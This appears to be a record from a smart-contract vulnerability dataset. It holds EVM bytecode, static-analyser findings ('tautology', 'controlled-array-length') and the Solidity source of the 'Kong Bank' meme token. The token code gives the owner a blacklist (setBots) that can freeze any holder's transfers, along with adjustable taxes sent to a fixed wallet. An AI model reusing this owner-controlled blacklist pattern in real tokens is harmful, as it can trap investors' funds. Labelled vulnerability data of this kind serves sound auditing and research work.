957600080fd5b5061036560048036036040811015610a0057600080fd5b506001600160a01b038135169060200135611615565b348015610a2257600080fd5b506103df60048036036020811015610a3957600080fd5b50356001600160a01b0316611719565b348015610a5557600080fd5b506103df60048036036020811015610a6c57600080fd5b50356117e0565b348015610a7f57600080fd5b5061049f60048036036020811015610a9657600080fd5b50356001600160a01b031661187d565b348015610ab257600080fd5b506103df60048036036020811015610ac957600080fd5b50356001600160a01b031661188f565b348015610ae557600080fd5b5061036560048036036020811015610afc57600080fd5b50356118c3565b348015610b0f57600080fd5b506103df60048036036020811015610b2657600080fd5b5035611999565b348015610b3957600080fd5b506105b260048036036020811015610b5057600080fd5b5035611a36565b348015610b6357600080fd5b506105b2611a5d565b348015610b7857600080fd5b5061036560048036036020811015610b8f57600080fd5b50356001600160a01b0316611a6c565b348015610bab57600080fd5b506103df60048036036020811015610bc257600080fd5b50356001600160a01b0316611a81565b348015610bde57600080fd5b506103df611af0565b348015610bf357600080fd5b506103df60048036036020811015610c0a57600080fd5b50356001600160a01b0316611b7a565b348015610c2657600080fd5b506103df60048036036020811015610c3d57600080fd5b50356001600160a01b0316611c1c565b348015610c5957600080fd5b506103df60048036036020811015610c7057600080fd5b50356001600160a01b0316611c50565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d065780601f10610cdb57610100808354040283529160200191610d06565b820191906000526020600020905b815481529060010190602001808311610ce957829003601f168201915b505050505081565b60045460009060ff1615610d2157600080fd5b60406044361015610d3157600080fd5b6001600160a01b0384166000908152600d602052604090205460ff1615610d5757600080fd5b336000908152600d602052604090205460ff1615610d7457600080fd5b82610d7e57600080fd5b6001600160a01b038416610d9157600080fd5b336000908152600b6020526040902054831115610dad57600080fd5b336000818152600a602090815260408083206001600160a01b038916808552908352928190208790558051878152429281019290925280519293927fb3fd5071835887567a0671151121894ddccc2842f1d10bedad13e0d17cace9a79281900390910190a35060019392505050565b600f6020526000908152604090205460ff1681565b610e3a33610ea3565b610e4357600080fd5b6001600160a01b0381166000818152600e6020908152604091829020805460ff191660011790558151928352429083015280517f870a827f6a9c11105845c784e8e5b7f11ab81bb613f977e071182e8f4e961b2f9281900390910190a150565b60006001600160a01b038216610eb857600080fd5b6000805b600554811015610f0557836001600160a01b031660098281548110610edd57fe5b6000918252602090912001546001600160a01b03161415610efd57600191505b600101610ebc565b5092915050565b60045460009060ff1615610f1f57600080fd5b60406044361015610f2f57600080fd5b60008311610f3c57600080fd5b6001600160a01b0385166000908152600b6020526040902054831115610f6157600080fd5b6001600160a01b0385166000908152600a6020908152604080832033845290915290205483111580610fa057506007546001600160a01b038581169116145b80610fb857506008546001600160a01b038581169116145b610fc157600080fd5b6001600160a01b0385166000908152600d602052604090205460ff1615610fe757600080fd5b6001600160a01b0384166000908152600d602052604090205460ff161561100d57600080fd5b336000908152600d602052604090205460ff161561102a57600080fd5b6008546001600160a01b0385811691161480159061105657506007546001600160a01b03858116911614155b156110b4576001600160a01b0385166000908152600a6020908152604080832033845290915290205461108f908463ffffffff611da716565b6001600160a01b0386166000908152600a602090815260408083203384529091529020555b6110bf858585611db9565b506001949350505050565b600d6020526000908152604090205460ff1681565b60025481565b6110ee33610ea3565b6110f757600080fd5b61110033610ea3565b61110957600080fd5b604051339082156108fc029083906000818181858888f19350505050158015611136573d6000803e3d6000fd5b5050565b60035481565b61114933610ea3565b61115257600080fd5b60045460ff1661116157600080fd5b6004805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6006545b90565b6001600160a01b03166000908152600e602052604090205460ff1690565b600a60209081526000928352604080842090915290825290205481565b60045460ff1681565b6008546001600160a01b031681565b336000908152600d602052604081205460ff161561120d57600080fd5b336000908152600c602052604090205482111561122957600080fd5b336000908152600c6020526040902054611249908363ffffffff611da716565b336000908152600c6020908152604080832093909355600b90522054611275908363ffffffff611ef916565b336000818152600b6020908152604091829020939093558051858152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a2506001919050565b60006112d133610ea3565b6112da57600080fd5b504790565b600b6020526000908152604090205481565b6112fa33610ea3565b61130357600080fd5b60045460ff161561131357600080fd5b6004805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b61135433610ea3565b61135d57600080fd5b6001600160a01b0381166000818152600d6020908152604091829020805460ff19169055815192835233908301524282820152517f7dc5dda6681d301fab8fa3b91c0a01706577562000f61a69d54734da398e38349181900360600190a150565b6060806005546040519080825280602002602001820160405280156113ed578160200160208202803883390190505b50905060005b600554811015611454576009818154811061140a57fe5b9060005260206000200160009054906101000a90046001600160a01b031682828151811061143457fe5b6001600160a01b03909216602092830291909101909101526001016113f3565b50905090565b6001600160a01b03166000908152600d602052604090205460ff1690565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d065780601f10610cdb57610100808354040283529160200191610d06565b6114db33610ea3565b6114e457600080fd5b6001600160a01b0381166000818152600d6020908152604091829020805460ff19166001179055815192835233908301524282820152517fadf5325f586c563a27f1fa0170d54abe4293f5d5760b998ff7332696bee7473d9181900360600190a150565b61155133610ea3565b61155a57600080fd5b815161156d906000906020850190611f0f565b508051611581906001906020840190611f0f565b505050565b61158f33610ea3565b61159857600080fd5b600a81900a840260035582516115b5906000906020860190611f0f565b5081516115c9906001906020850190611f0f565b506002819055336000908152600f60209081526040808320805460ff19908116600117909155600d835281842080549091169055600b9091529020600a9190910a939093029092555050565b60045460009060ff161561162857600080fd5b6040604436101561163857600080fd5b336000908152600b6020526040902054831180159061167157506001600160a01b0384166000908152600b602052604090205483810110155b61167a57600080fd5b6001600160a01b0384166000908152600d602052604090205460ff16156116a057600080fd5b336000908152600d602052604090205460ff16156116bd57600080fd5b6116c8338585611db9565b6040805184815242602082015281516001600160a01b0387169233927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929081900390910190a35060019392505050565b61172233610ea3565b61172b57600080fd5b6001600160a01b03811661173e57600080fd5b61174781610ea3565b1561175157600080fd5b60098054600181810183556000929092527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0384166001600160a01b031990911681179091556005805490920190915560408051918252517f075faa91dcfd4a15f1e2374b5ef0e3b2b2ea006215560f7d3ded7260ef337edb9181900360200190a150565b6117e933610ea3565b6117f257600080fd5b6003548181011161180257600080fd5b336000908152600b60205260409020548181011161181f57600080fd5b6003805482019055336000908152600b60209081526040918290208054840190558151838152429181019190915281517f3fd553405b055a1193434af9d13a7588f2cd834338ace014765ba4beda8b301f929181900390910190a150565b600c6020526000908152604090205481565b61189833610ea3565b6118a157600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600d602052604081205460ff16156118e057600080fd5b336000908152600b60205260409020548211156118fc57600080fd5b336000908152600b602052604090205461191c908363ffffffff611da716565b336000908152600b6020908152604080832093909355600c90522054611948908363ffffffff611ef916565b336000818152600c6020908152604091829020939093558051858152905191927ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e092918290030190a2506001919050565b6119a233610ea3565b6119ab57600080fd5b8060035410156119ba57600080fd5b336000908152600b60205260409020548111156119d657600080fd5b600380548290039055336000908152600b6020908152604091829020805484900390558151838152429181019190915281517fe3829d5463fae0f748d927f86f762044188c9ce53d91a394eb93e98354cc3092929181900390910190a150565b60098181548110611a4357fe5b6000918252602090912001546001600160a01b0316905081565b6007546001600160a01b031681565b600e6020526000908152604090205460ff1681565b611a8a33610ea3565b611a9357600080fd5b6001600160a01b0381166000818152600e6020908152604091829020805460ff191690558151928352429083015280517fb2dd51202c6b064f53c1c254607146ea58a40ae98c93215174d1daa0be5c04189281900390910190a150565b611af933610ea3565b611b0257600080fd5b6007546040805163255bcdf360e11b815290516001600160a01b03909216918291634ab79be6916004808301926020929190829003018186803b158015611b4857600080fd5b505afa158015611b5c573d6000803e3d6000fd5b505050506040513d6020811015611b7257600080fd5b505160065550565b611b8333610ea3565b611b8c57600080fd5b6001600160a01b0381166000908152600e602052604090205460ff16611bb157600080fd5b6001600160a01b0381166000818152600b602090815260408083208054939055600380548490039055805193845290830182905242838201525190917f06c89fe42d74f2e7605b481ff538bae978cbb071618f6c00c8adf9d5fd420c92919081900360600190a15050565b611c2533610ea3565b611c2e57600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b611c5933610ea3565b611c6257600080fd5b611c6b81610ea3565b8015611c8057506001600160a01b0381163314155b611c8957600080fd5b60005b600554811015611d6757816001600160a01b031660098281548110611cad57fe5b6000918252602090912001546001600160a01b03161415611d5f57600980546000198101908110611cda57fe5b600091825260209091200154600980546001600160a01b039092169183908110611d0057fe5b600091825260209091200180546001600160a01b0319166001600160a01b0392909216919091179055600980546000198101908110611d3b57fe5b600091825260209091200180546001600160a01b0319169055600580546000190190555b600101611c8c565b50604080516001600160a01b038316815290517f4287f226c8adb1aa72f1527657299b3d7766e2b09387f77100fea31a4818ad249181900360200190a150565b600082821115611db357fe5b50900390565b6001600160a01b038216611dcc57600080fd5b6001600160a01b0383166000908152600d602052604090205460ff1615611df257600080fd5b6001600160a01b0382166000908152600d602052604090205460ff1615611e1857600080fd5b336000908152600d602052604090205460ff1615611e3557600080fd5b6001600160a01b0383166000908152600b6020526040902054611e5e908263ffffffff611da716565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054611e93908263ffffffff611ef916565b6001600160a01b038084166000818152600b6020908152604091829020949094558051858152429481019490945280519193928716927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929081900390910190a3505050565b600082820183811015611f0857fe5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f5057805160ff1916838001178555611f7d565b82800160010185558215611f7d579182015b82811115611f7d578251825591602001919060010190611f62565b50611f89929150611f8d565b5090565b61119a91905b80821115611f895760008155600101611f9356fea265627a7a723158205969a9233d02e09fccea50a1ccdd87ea22352addfe50bc15cec4e6d43473f62c64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,596
0xa927a61fc7d6afeb6f92ad1244ec3f97cfb3abbc
/* .##....##..#######..##....##..######......########.....###....##....##.##....## .##...##..##.....##.###...##.##....##.....##.....##...##.##...###...##.##...##. .##..##...##.....##.####..##.##...........##.....##..##...##..####..##.##..##.. .#####....##.....##.##.##.##.##...####....########..##.....##.##.##.##.#####... .##..##...##.....##.##..####.##....##.....##.....##.#########.##..####.##..##.. .##...##..##.....##.##...###.##....##.....##.....##.##.....##.##...###.##...##. .##....##..#######..##....##..######......########..##.....##.##....##.##....## https://t.me/KongBank */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KONGBANK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Kong Bank"; string private constant _symbol = "KONGBANK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x3a34d51ba92101a8C650aD686122C2AeAAf454C5); _buyTax = 15; _sellTax = 15; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance.div(5); contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function initContract() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102a75780638203f5fe146102bc5780638da5cb5b146102d157806395d89b41146102f9578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610216578063313ce5671461023657806346df33b7146102525780636fc3eaec1461027257806370a082311461028757600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d457806323b872dd146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260098152684b6f6e672042616e6b60b81b60208201525b6040516101759190611951565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046117d8565b61041a565b6040519015158152602001610175565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610175565b3480156101e057600080fd5b506101f46101ef36600461190a565b610431565b005b34801561020257600080fd5b5061019e610211366004611797565b61047d565b34801561022257600080fd5b506101f4610231366004611724565b6104e6565b34801561024257600080fd5b5060405160098152602001610175565b34801561025e57600080fd5b506101f461026d3660046118d0565b610531565b34801561027e57600080fd5b506101f4610579565b34801561029357600080fd5b506101c66102a2366004611724565b6105ad565b3480156102b357600080fd5b506101f46105cf565b3480156102c857600080fd5b506101f4610643565b3480156102dd57600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030557600080fd5b506040805180820190915260088152674b4f4e4742414e4b60c01b6020820152610168565b34801561033657600080fd5b5061019e6103453660046117d8565b610882565b34801561035657600080fd5b506101f4610365366004611804565b61088f565b34801561037657600080fd5b506101f4610925565b34801561038b57600080fd5b506101f4610965565b3480156103a057600080fd5b506101f46103af36600461190a565b610b2d565b3480156103c057600080fd5b506101f46103cf36600461190a565b610b65565b3480156103e057600080fd5b506101c66103ef36600461175e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610b9d565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906119a6565b60405180910390fd5b678ac7230489e8000081111561047a5760108190555b50565b600061048a848484610cc1565b6104dc84336104d785604051806060016040528060288152602001611b3d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff6565b610b9d565b5060019392505050565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161045b906119a6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045b906119a6565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045b906119a6565b4761047a81611030565b6001600160a01b03811660009081526002602052604081205461042b9061106a565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045b906119a6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161045b906119a6565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f9190611741565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df9190611741565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f9190611741565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cc1565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161045b906119a6565b60005b8151811015610921576001600660008484815181106108dd576108dd611aed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091981611abc565b9150506108bc565b5050565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161045b906119a6565b600061095a306105ad565b905061047a816110ee565b6000546001600160a01b0316331461098f5760405162461bcd60e51b815260040161045b906119a6565b600e546109b09030906001600160a01b0316683635c9adc5dea00000610b9d565b600e546001600160a01b031663f305d71947306109cc816105ad565b6000806109e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7d9190611923565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a91906118ed565b6000546001600160a01b03163314610b575760405162461bcd60e51b815260040161045b906119a6565b600f81101561047a57600b55565b6000546001600160a01b03163314610b8f5760405162461bcd60e51b815260040161045b906119a6565b600f81101561047a57600c55565b6001600160a01b038316610bff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610de95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6001600160a01b03831660009081526006602052604090205460ff1615610e0f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5157506001600160a01b03821660009081526005602052604090205460ff16155b15610fe6576000600955600c54600a55600f546001600160a01b038481169116148015610e8c5750600e546001600160a01b03838116911614155b8015610eb157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec65750600f54600160b81b900460ff165b15610ef3576000610ed6836105ad565b601054909150610ee68383611277565b1115610ef157600080fd5b505b600f546001600160a01b038381169116148015610f1e5750600e546001600160a01b03848116911614155b8015610f4357506001600160a01b03831660009081526005602052604090205460ff16155b15610f54576000600955600b54600a555b6000610f5f306105ad565b600f54909150600160a81b900460ff16158015610f8a5750600f546001600160a01b03858116911614155b8015610f9f5750600f54600160b01b900460ff165b15610fe4576000610fb18260056112d6565b9050610fbd8183611aa5565b9150610fc881611318565b610fd1826110ee565b478015610fe157610fe147611030565b50505b505b610ff183838361134e565b505050565b6000818484111561101a5760405162461bcd60e51b815260040161045b9190611951565b5060006110278486611aa5565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610921573d6000803e3d6000fd5b60006007548211156110d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b60006110db611359565b90506110e783826112d6565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113657611136611aed565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118a57600080fd5b505afa15801561119e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c29190611741565b816001815181106111d5576111d5611aed565b6001600160a01b039283166020918202929092010152600e546111fb9130911684610b9d565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112349085906000908690309042906004016119db565b600060405180830381600087803b15801561124e57600080fd5b505af1158015611262573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112848385611a4c565b9050838110156110e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b60006110e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061137c565b600f805460ff60a81b1916600160a81b179055801561133e5761133e3061dead83610cc1565b50600f805460ff60a81b19169055565b610ff18383836113aa565b60008060006113666114a1565b909250905061137582826112d6565b9250505090565b6000818361139d5760405162461bcd60e51b815260040161045b9190611951565b5060006110278486611a64565b6000806000806000806113bc876114e3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ee9087611540565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141d9086611277565b6001600160a01b0